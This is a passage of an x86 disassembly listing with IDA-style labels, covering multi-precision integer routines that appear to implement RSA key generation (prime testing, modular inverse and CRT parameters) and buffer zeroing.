		push	eax
		mov	eax, esi
		call	sub_417B95
		lea	eax, [ebp+var_60C]
		xor	edi, edi
		push	eax
		inc	edi
		mov	eax, esi
		mov	[ebp+var_408], edi
		call	sub_417B95
		push	[ebp+arg_4]
		lea	eax, [ebp+var_810]
		push	eax
		mov	eax, esi
		call	sub_417B80
		push	[ebp+arg_8]
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, esi
		call	sub_417B80
		add	esp, 18h
		mov	eax, esi
		lea	ecx, [ebp+var_204]
		call	sub_418403
		test	eax, eax
		jnz	loc_418250
		mov	ebx, esi
		shl	ebx, 2

loc_41816F:				; CODE XREF: sub_4180F9+136j
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_810]
		push	eax
		lea	eax, [ebp+var_C18]
		push	eax
		lea	eax, [ebp+var_E1C]
		push	eax
		mov	eax, esi
		call	sub_417DBA
		lea	eax, [ebp+var_60C]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		mov	eax, esi
		lea	ecx, [ebp+var_E1C]
		call	sub_417C59
		lea	eax, [ebp+var_A14]
		push	eax
		mov	ecx, esi
		lea	edx, [ebp+var_1224]
		lea	eax, [ebp+var_408]
		call	sub_417BCF
		push	ebx
		lea	eax, [ebp+var_60C]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_41BC60
		push	ebx
		lea	eax, [ebp+var_A14]
		push	eax
		lea	eax, [ebp+var_60C]
		push	eax
		call	sub_41BC60
		push	ebx
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_41BC60
		add	esp, 44h
		push	ebx
		lea	eax, [ebp+var_C18]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		mov	eax, esi
		lea	ecx, [ebp+var_204]
		neg	edi
		call	sub_418403
		test	eax, eax
		jz	loc_41816F
		xor	ebx, ebx
		cmp	edi, ebx
		jge	short loc_418252
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_8]
		mov	ecx, esi
		lea	edx, [ebp+var_408]
		call	sub_417C0D
		jmp	short loc_418264
; ---------------------------------------------------------------------------

loc_418250:				; CODE XREF: sub_4180F9+6Bj
		xor	ebx, ebx

loc_418252:				; CODE XREF: sub_4180F9+140j
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+arg_0]
		mov	eax, esi
		call	sub_417B80
		pop	ecx

loc_418264:				; CODE XREF: sub_4180F9+155j
		pop	ecx
		mov	esi, 204h
		push	esi
		lea	eax, [ebp+var_E1C]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_A14]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_C18]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_408]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_810]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_60C]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 48h
		push	esi
		lea	eax, [ebp+var_204]
		push	ebx
		push	eax
		call	sub_41C6D0
		push	408h
		lea	eax, [ebp+var_1224]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4180F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182E9	proc near		; CODE XREF: sub_418D42+39p

var_60C		= byte ptr -60Ch
var_408		= byte ptr -408h
var_204		= byte ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 60Ch
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, eax
		lea	eax, [ebp+var_408]
		push	eax
		mov	eax, esi
		call	sub_417B80
		push	[ebp+arg_8]
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, esi
		call	sub_417B80
		add	esp, 10h
		mov	eax, esi
		lea	ecx, [ebp+var_204]
		call	sub_418403
		test	eax, eax
		jnz	short loc_41838A
		mov	edi, esi
		shl	edi, 2

loc_418331:				; CODE XREF: sub_4182E9+9Fj
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_60C]
		push	eax
		mov	eax, esi
		call	sub_417F2F
		push	edi
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_41BC60
		push	edi
		lea	eax, [ebp+var_60C]
		push	eax
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_41BC60
		add	esp, 28h
		mov	eax, esi
		lea	ecx, [ebp+var_204]
		call	sub_418403
		test	eax, eax
		jz	short loc_418331

loc_41838A:				; CODE XREF: sub_4182E9+41j
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+arg_0]
		mov	eax, esi
		call	sub_417B80
		mov	esi, 204h
		push	esi
		xor	edi, edi
		lea	eax, [ebp+var_60C]
		push	edi
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_408]
		push	edi
		push	eax
		call	sub_41C6D0
		push	esi
		lea	eax, [ebp+var_204]
		push	edi
		push	eax
		call	sub_41C6D0
		add	esp, 2Ch
		pop	edi
		pop	esi
		leave
		retn
sub_4182E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4183D3	proc near		; CODE XREF: sub_417DBA+F5p
					; sub_418528+D6p ...

arg_0		= dword	ptr  4

		dec	ecx
		push	esi
		push	edi
		js	short loc_4183F4
		mov	edi, [esp+8+arg_0]
		lea	eax, [edx+ecx*4]
		sub	edi, edx

loc_4183E1:				; CODE XREF: sub_4183D3+1Fj
		mov	edx, [edi+eax]
		mov	esi, [eax]
		cmp	edx, esi
		ja	short loc_4183F9
		jb	short loc_4183FE
		dec	ecx
		sub	eax, 4
		test	ecx, ecx
		jge	short loc_4183E1

loc_4183F4:				; CODE XREF: sub_4183D3+3j
		xor	eax, eax

loc_4183F6:				; CODE XREF: sub_4183D3+29j
					; sub_4183D3+2Ej
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4183F9:				; CODE XREF: sub_4183D3+15j
		xor	eax, eax
		inc	eax
		jmp	short loc_4183F6
; ---------------------------------------------------------------------------

loc_4183FE:				; CODE XREF: sub_4183D3+17j
		or	eax, 0FFFFFFFFh
		jmp	short loc_4183F6
sub_4183D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_418403	proc near		; CODE XREF: sub_4180F9+64p
					; sub_4180F9+12Fp ...
		jmp	short loc_41840F
; ---------------------------------------------------------------------------

loc_418405:				; CODE XREF: sub_418403+Ej
		mov	edx, [ecx]
		dec	eax
		add	ecx, 4
		test	edx, edx
		jnz	short loc_418415

loc_41840F:				; CODE XREF: sub_418403j
		test	eax, eax
		jnz	short loc_418405
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_418415:				; CODE XREF: sub_418403+Aj
		xor	eax, eax
		retn
sub_418403	endp


; =============== S U B	R O U T	I N E =======================================



sub_418418	proc near		; CODE XREF: sub_417C59+27p
					; sub_417C59+33p ...

arg_0		= dword	ptr  4

		dec	eax
		js	short loc_418425
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short sub_418418

loc_418425:				; CODE XREF: sub_418418+1j
		inc	eax
		retn
sub_418418	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418427	proc near		; CODE XREF: sub_417C59+4Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		mov	ebx, ecx
		mov	esi, edx
		jnz	short loc_41843F
		xor	eax, eax
		jmp	short loc_418497
; ---------------------------------------------------------------------------

loc_41843F:				; CODE XREF: sub_418427+12j
		cmp	eax, edi
		jz	short loc_418495
		mov	[ebp+var_4], eax

loc_418446:				; CODE XREF: sub_418427+6Cj
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_421320
		mov	ecx, edx
		sar	ecx, 1Fh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		add	[ebp+arg_0], 4
		add	ecx, edi
		add	ebx, 4
		cmp	ecx, edi
		mov	[ebp+var_8], edx
		mov	[esi], ecx
		jnb	short loc_418475
		xor	edi, edi
		inc	edi
		jmp	short loc_418477
; ---------------------------------------------------------------------------

loc_418475:				; CODE XREF: sub_418427+47j
		xor	edi, edi

loc_418477:				; CODE XREF: sub_418427+4Cj
		add	[esi], eax
		mov	ecx, [esi]
		add	esi, 4
		cmp	ecx, eax
		jnb	short loc_418487
		xor	eax, eax
		inc	eax
		jmp	short loc_418489
; ---------------------------------------------------------------------------

loc_418487:				; CODE XREF: sub_418427+59j
		xor	eax, eax

loc_418489:				; CODE XREF: sub_418427+5Ej
		mov	ecx, [ebp+var_8]
		add	eax, ecx
		add	edi, eax
		dec	[ebp+var_4]
		jnz	short loc_418446

loc_418495:				; CODE XREF: sub_418427+1Aj
		mov	eax, edi

loc_418497:				; CODE XREF: sub_418427+16j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418427	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41849C	proc near		; CODE XREF: sub_417DBA+DEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		mov	ebx, ecx
		mov	esi, edx
		jnz	short loc_4184B4
		xor	eax, eax
		jmp	short loc_41850E
; ---------------------------------------------------------------------------

loc_4184B4:				; CODE XREF: sub_41849C+12j
		cmp	eax, edi
		jz	short loc_41850C
		mov	[ebp+var_4], eax

loc_4184BB:				; CODE XREF: sub_41849C+6Ej
		xor	eax, eax
		push	eax
		push	[ebp+arg_4]
		push	eax
		push	dword ptr [ebx]
		call	sub_421320
		mov	ecx, edx
		sar	ecx, 1Fh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		add	[ebp+arg_0], 4
		mov	[ebp+var_8], edx
		or	edx, 0FFFFFFFFh
		sub	ecx, edi
		sub	edx, edi
		add	ebx, 4
		xor	edi, edi
		cmp	ecx, edx
		mov	[esi], ecx
		jbe	short loc_4184ED
		inc	edi

loc_4184ED:				; CODE XREF: sub_41849C+4Ej
		sub	[esi], eax
		mov	ecx, [esi]
		or	edx, 0FFFFFFFFh
		sub	edx, eax
		add	esi, 4
		xor	eax, eax
		cmp	ecx, edx
		jbe	short loc_418500
		inc	eax

loc_418500:				; CODE XREF: sub_41849C+61j
		mov	ecx, [ebp+var_8]
		add	eax, ecx
		add	edi, eax
		dec	[ebp+var_4]
		jnz	short loc_4184BB

loc_41850C:				; CODE XREF: sub_41849C+1Aj
		mov	eax, edi

loc_41850E:				; CODE XREF: sub_41849C+16j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41849C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418513	proc near		; CODE XREF: sub_417DBA+29p

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		jz	short locret_418527

loc_41851B:				; CODE XREF: sub_418513+12j
		cmp	eax, 20h
		jnb	short locret_418527
		inc	eax
		shr	[esp+arg_0], 1
		jnz	short loc_41851B

locret_418527:				; CODE XREF: sub_418513+6j
					; sub_418513+Bj
		retn
sub_418513	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418528	proc near		; CODE XREF: sub_4187C5+118p
					; sub_4187C5+1ECp

var_60C		= byte ptr -60Ch
var_408		= dword	ptr -408h
var_204		= byte ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 60Ch
		push	esi
		mov	eax, edi
		shl	eax, 2
		push	eax
		lea	eax, [ebp+var_60C]
		push	eax
		mov	esi, ecx
		call	sub_418E60
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_41868F
		lea	eax, [ebp+var_60C]
		push	eax
		push	edi
		mov	eax, edi
		push	ebx
		shl	eax, 2
		call	sub_417AE5
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, [ebp+arg_4]
		mov	ecx, edi
		call	sub_417C0D
		lea	eax, [ebp+var_408]
		push	eax
		mov	eax, edi
		call	sub_417B95
		lea	eax, [ebp+var_204]
		push	eax
		mov	ecx, edi
		lea	edx, [ebp+var_408]
		mov	[ebp+var_408], 1
		call	sub_417BCF
		push	edi
		lea	eax, [ebp+var_204]
		push	eax
		push	ebx
		push	ebx
		mov	eax, edi
		call	sub_417F2F
		mov	edx, [ebp+arg_0]
		push	ebx
		mov	ecx, edi
		mov	eax, ebx
		call	sub_417BCF
		mov	esi, [ebp+arg_8]
		push	edi
		push	esi
		lea	eax, [ebp+var_204]
		push	ebx
		push	eax
		mov	eax, edi
		call	sub_417F2F
		push	ebx
		mov	ecx, edi
		lea	edx, [ebp+var_204]
		mov	eax, ebx
		call	sub_417C0D
		add	esp, 40h
		push	ebx
		mov	ecx, edi
		lea	edx, [ebp+var_408]
		mov	eax, ebx
		call	sub_417BCF
		mov	edx, [ebp+arg_0]
		push	ebx
		mov	ecx, edi
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		pop	ecx
		jge	short loc_418616
		push	ebx
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_417BCF
		pop	ecx

loc_418616:				; CODE XREF: sub_418528+DFj
		mov	edx, [ebp+arg_4]
		push	ebx
		mov	ecx, edi
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		jle	short loc_418633
		push	ebx
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_417C0D
		pop	ecx

loc_418633:				; CODE XREF: sub_418528+FCj
		push	[ebp+arg_4]
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, edi
		call	sub_417B80
		lea	eax, [ebp+var_204]
		push	eax
		mov	ecx, edi
		mov	edx, esi
		call	sub_417C0D
		push	edi
		push	ebx
		call	sub_418699
		add	esp, 14h
		jmp	short loc_418689
; ---------------------------------------------------------------------------

loc_418660:				; CODE XREF: sub_418528+163j
		push	ebx
		mov	ecx, edi
		lea	edx, [ebp+var_204]
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		jg	short loc_418692
		push	ebx
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_417BCF
		push	edi
		push	ebx
		call	sub_418699
		add	esp, 0Ch

loc_418689:				; CODE XREF: sub_418528+136j
		test	eax, eax
		jz	short loc_418660
		xor	eax, eax

loc_41868F:				; CODE XREF: sub_418528+22j
					; sub_418528+16Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_418692:				; CODE XREF: sub_418528+149j
		mov	eax, 401h
		jmp	short loc_41868F
sub_418528	endp


; =============== S U B	R O U T	I N E =======================================



sub_418699	proc near		; CODE XREF: sub_418528+12Ep
					; sub_418528+159p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4186C5
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4186C2
		push	[esp+arg_0]
		mov	eax, [esp+4+arg_4]
		call	sub_41874F
		test	eax, eax
		pop	ecx
		jz	short loc_4186C2
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_4186C2:				; CODE XREF: sub_418699+11j
					; sub_418699+23j
		xor	eax, eax
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4186C5	proc near		; CODE XREF: sub_418699+8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		inc	esi

loc_4186D4:				; CODE XREF: sub_4186C5+86j
		push	4
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		call	sub_41C6D0
		mov	eax, ds:dword_435318[edi]
		add	esp, 0Ch
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_4], eax
		jnz	short loc_418704
		push	[ebp+arg_0]
		mov	ecx, esi
		lea	edx, [ebp+var_4]
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		jz	short loc_41872E

loc_418704:				; CODE XREF: sub_4186C5+2Bj
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_4]
		call	sub_417F2F
		add	esp, 10h
		lea	eax, [ebp+var_4]
		mov	ecx, esi

loc_41871D:				; CODE XREF: sub_4186C5+64j
		mov	edx, [eax]
		dec	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_418745
		test	ecx, ecx
		jnz	short loc_41871D
		mov	[ebp+var_8], esi

loc_41872E:				; CODE XREF: sub_4186C5+3Dj
					; sub_4186C5+88j
		push	4
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		call	sub_41C6D0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_418745:				; CODE XREF: sub_4186C5+60j
		add	edi, 4
		cmp	edi, 10h
		jb	short loc_4186D4
		jmp	short loc_41872E
sub_4186C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41874F	proc near		; CODE XREF: sub_418699+1Bp

var_408		= byte ptr -408h
var_204		= dword	ptr -204h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	esi
		mov	esi, eax
		lea	eax, [ebp+var_204]
		push	eax
		mov	eax, esi
		call	sub_417B95
		push	[ebp+arg_0]
		lea	eax, [ebp+var_204]
		push	esi
		push	[ebp+arg_0]
		mov	[ebp+var_204], 2
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		mov	eax, esi
		call	sub_417FA5
		lea	eax, [ebp+var_204]
		push	eax
		mov	ecx, esi
		lea	edx, [ebp+var_408]
		call	sub_4183D3
		mov	esi, eax
		push	204h
		neg	esi
		lea	eax, [ebp+var_408]
		sbb	esi, esi
		push	0
		push	eax
		inc	esi
		call	sub_41C6D0
		add	esp, 28h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41874F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187C5	proc near		; CODE XREF: sub_40BDE3+E8p

var_1C44	= byte ptr -1C44h
var_1A40	= byte ptr -1A40h
var_183C	= byte ptr -183Ch
var_1638	= byte ptr -1638h
var_1434	= byte ptr -1434h
var_1230	= byte ptr -1230h
var_102C	= byte ptr -102Ch
var_E28		= byte ptr -0E28h
var_C24		= dword	ptr -0C24h
var_A20		= byte ptr -0A20h
var_81C		= byte ptr -81Ch
var_618		= byte ptr -618h
var_414		= dword	ptr -414h
var_210		= dword	ptr -210h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1C44h
		call	sub_41E090
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [eax]
		cmp	ecx, 200h
		push	edi
		jb	loc_418CCB
		cmp	ecx, 1000h
		ja	loc_418CCB
		lea	ebx, [ecx+1]
		lea	eax, [ecx+1Fh]
		shr	ebx, 1
		sub	ecx, ebx
		shr	eax, 5
		mov	[ebp+var_C], ecx
		lea	ecx, [ebp+var_C24]
		lea	edi, [eax+1]
		push	ecx
		mov	[ebp+var_8], eax
		shr	edi, 1
		mov	[ebp+var_4], ebx
		call	sub_417B95
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFEh
		add	eax, 3
		mov	[ebp+var_C24], eax
		lea	ecx, [ebx-1]
		mov	eax, edi
		lea	ebx, [ebp+var_210]
		call	sub_417BA8
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFEh
		mov	eax, edi
		lea	ebx, [ebp+var_618]
		call	sub_417BA8
		lea	eax, [ebp+var_210]
		push	eax
		mov	ecx, edi
		mov	edx, ebx
		call	sub_417BCF
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, edi
		call	sub_417B95
		lea	eax, [ebp+var_414]
		push	eax
		mov	edx, eax
		mov	ecx, edi
		lea	eax, [ebp+var_210]
		mov	[ebp+var_414], 1
		call	sub_417C0D
		mov	eax, ebx
		push	eax
		mov	ecx, edi
		lea	edx, [ebp+var_414]
		call	sub_417BCF
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, edi
		call	sub_417B95
		add	esp, 18h
		mov	[ebp+var_414], 2

loc_4188BF:				; CODE XREF: sub_4187C5+13Fj
		mov	ecx, [ebp+arg_8]
		lea	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_618]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		lea	ebx, [ebp+var_81C]
		call	sub_418528
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_418CD0
		push	1
		lea	eax, [ebp+var_C24]
		push	eax
		mov	eax, ebx
		push	edi
		push	eax
		call	sub_418CD5
		add	esp, 10h
		test	eax, eax
		jz	short loc_4188BF
		mov	ecx, [ebp+var_C]
		dec	ecx
		mov	eax, edi
		lea	ebx, [ebp+var_210]
		call	sub_417BA8
		mov	ecx, [ebp+var_C]
		add	ecx, 0FFFFFFFEh
		mov	eax, edi
		lea	ebx, [ebp+var_618]
		call	sub_417BA8
		lea	eax, [ebp+var_210]
		push	eax
		mov	ecx, edi
		mov	edx, ebx
		call	sub_417BCF
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, edi
		call	sub_417B95
		lea	eax, [ebp+var_414]
		push	eax
		mov	edx, eax
		mov	ecx, edi
		lea	eax, [ebp+var_210]
		mov	[ebp+var_414], 1
		call	sub_417C0D
		mov	eax, ebx
		push	eax
		mov	ecx, edi
		lea	edx, [ebp+var_414]
		call	sub_417BCF
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, edi
		call	sub_417B95
		add	esp, 14h
		mov	[ebp+var_414], 2

loc_418993:				; CODE XREF: sub_4187C5+219j
		mov	ecx, [ebp+arg_8]
		lea	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_618]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		lea	ebx, [ebp+var_A20]
		call	sub_418528
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_418CD0
		xor	ebx, ebx
		inc	ebx
		push	ebx
		lea	eax, [ebp+var_C24]
		push	eax
		lea	eax, [ebp+var_A20]
		push	edi
		push	eax
		call	sub_418CD5
		add	esp, 10h
		test	eax, eax
		jz	short loc_418993
		lea	eax, [ebp+var_81C]
		push	eax
		mov	ecx, edi
		lea	edx, [ebp+var_A20]
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		jge	short loc_418A47
		mov	eax, edi
		shl	eax, 2
		push	eax
		lea	eax, [ebp+var_81C]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_41BC60
		mov	eax, edi
		shl	eax, 2
		push	eax
		lea	eax, [ebp+var_A20]
		push	eax
		lea	eax, [ebp+var_81C]
		push	eax
		call	sub_41BC60
		mov	eax, edi
		shl	eax, 2
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_A20]
		push	eax
		call	sub_41BC60
		add	esp, 24h

loc_418A47:				; CODE XREF: sub_4187C5+232j
		lea	eax, [ebp+var_A20]
		push	eax
		lea	eax, [ebp+var_1C44]
		push	eax
		mov	eax, edi
		lea	ecx, [ebp+var_81C]
		call	sub_417C59
		lea	eax, [ebp+var_81C]
		push	eax
		lea	eax, [ebp+var_A20]
		push	eax
		lea	eax, [ebp+var_183C]
		push	eax
		mov	ecx, edi
		call	sub_4180F9
		lea	eax, [ebp+var_210]
		push	eax
		mov	eax, edi
		call	sub_417B95
		lea	eax, [ebp+var_102C]
		push	eax
		mov	ecx, edi
		lea	edx, [ebp+var_210]
		lea	eax, [ebp+var_81C]
		mov	[ebp+var_210], ebx
		call	sub_417C0D
		lea	eax, [ebp+var_1230]
		push	eax
		mov	ecx, edi
		lea	edx, [ebp+var_210]
		lea	eax, [ebp+var_A20]
		call	sub_417C0D
		lea	eax, [ebp+var_1230]
		push	eax
		lea	eax, [ebp+var_1638]
		push	eax
		mov	eax, edi
		lea	ecx, [ebp+var_102C]
		call	sub_417C59
		mov	ebx, [ebp+var_8]
		lea	eax, [ebp+var_1638]
		push	eax
		lea	eax, [ebp+var_C24]
		push	eax
		lea	eax, [ebp+var_E28]
		push	eax
		mov	ecx, ebx
		call	sub_4180F9
		push	edi
		lea	eax, [ebp+var_102C]
		push	eax
		lea	eax, [ebp+var_E28]
		push	eax
		lea	eax, [ebp+var_1434]
		push	eax
		mov	eax, ebx
		call	sub_417F2F
		add	esp, 44h
		push	edi
		lea	eax, [ebp+var_1230]
		push	eax
		lea	eax, [ebp+var_E28]
		push	eax
		lea	eax, [ebp+var_1A40]
		push	eax
		mov	eax, ebx
		call	sub_417F2F
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		mov	[esi], eax
		mov	[ecx], eax
		lea	eax, [ecx+4]
		push	ebx
		lea	ecx, [ebp+var_1C44]
		push	ecx
		mov	[ebp+arg_4], eax
		push	eax
		mov	ebx, 200h
		mov	eax, ebx
		call	sub_417B36
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	1
		lea	ecx, [ebp+var_C24]
		push	ecx
		mov	[ebp+var_4], eax
		push	eax
		mov	eax, ebx
		call	sub_417B36
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [esi+4]
		push	eax
		call	sub_41BC60
		push	ebx
		push	[ebp+var_4]
		lea	eax, [esi+204h]
		push	eax
		call	sub_41BC60
		add	esp, 40h
		push	[ebp+var_8]
		lea	eax, [ebp+var_E28]
		push	eax
		lea	eax, [esi+404h]
		push	eax
		mov	eax, ebx
		call	sub_417B36
		push	edi
		lea	eax, [ebp+var_81C]
		push	eax
		lea	eax, [esi+604h]
		push	eax
		mov	ebx, 100h
		mov	eax, ebx
		call	sub_417B36
		push	edi
		lea	eax, [ebp+var_A20]
		push	eax
		lea	eax, [esi+704h]
		push	eax
		mov	eax, ebx
		call	sub_417B36
		push	edi
		lea	eax, [ebp+var_1434]
		push	eax
		lea	eax, [esi+804h]
		push	eax
		mov	eax, ebx
		call	sub_417B36
		push	edi
		lea	eax, [ebp+var_1A40]
		push	eax
		lea	eax, [esi+904h]
		push	eax
		mov	eax, ebx
		call	sub_417B36
		push	edi
		lea	eax, [ebp+var_183C]
		push	eax
		add	esi, 0A04h
		push	esi
		mov	eax, ebx
		call	sub_417B36
		add	esp, 48h
		mov	edi, 204h
		push	edi
		xor	esi, esi
		lea	eax, [ebp+var_E28]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_1434]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_1A40]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_81C]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_1638]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_102C]
		push	esi
		push	eax
		call	sub_41C6D0
		add	esp, 48h
		push	edi
		lea	eax, [ebp+var_A20]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_183C]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_1230]
		push	esi
		push	eax
		call	sub_41C6D0
		push	edi
		lea	eax, [ebp+var_210]
		push	esi
		push	eax
		call	sub_41C6D0
		add	esp, 30h
		xor	eax, eax
		jmp	short loc_418CD0
; ---------------------------------------------------------------------------

loc_418CCB:				; CODE XREF: sub_4187C5+1Dj
					; sub_4187C5+29j
		mov	eax, 407h

loc_418CD0:				; CODE XREF: sub_4187C5+122j
					; sub_4187C5+1F6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418CD5	proc near		; CODE XREF: sub_4187C5+135p
					; sub_4187C5+20Fp

var_408		= byte ptr -408h
var_204		= dword	ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		mov	eax, [ebp+arg_4]
		call	sub_417B95
		mov	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_408]
		push	eax
		mov	eax, [ebp+arg_0]
		lea	edx, [ebp+var_204]
		mov	[ebp+var_204], 1
		call	sub_417C0D
		push	[ebp+arg_C]
		lea	eax, [ebp+var_408]
		push	[ebp+arg_8]
		push	eax
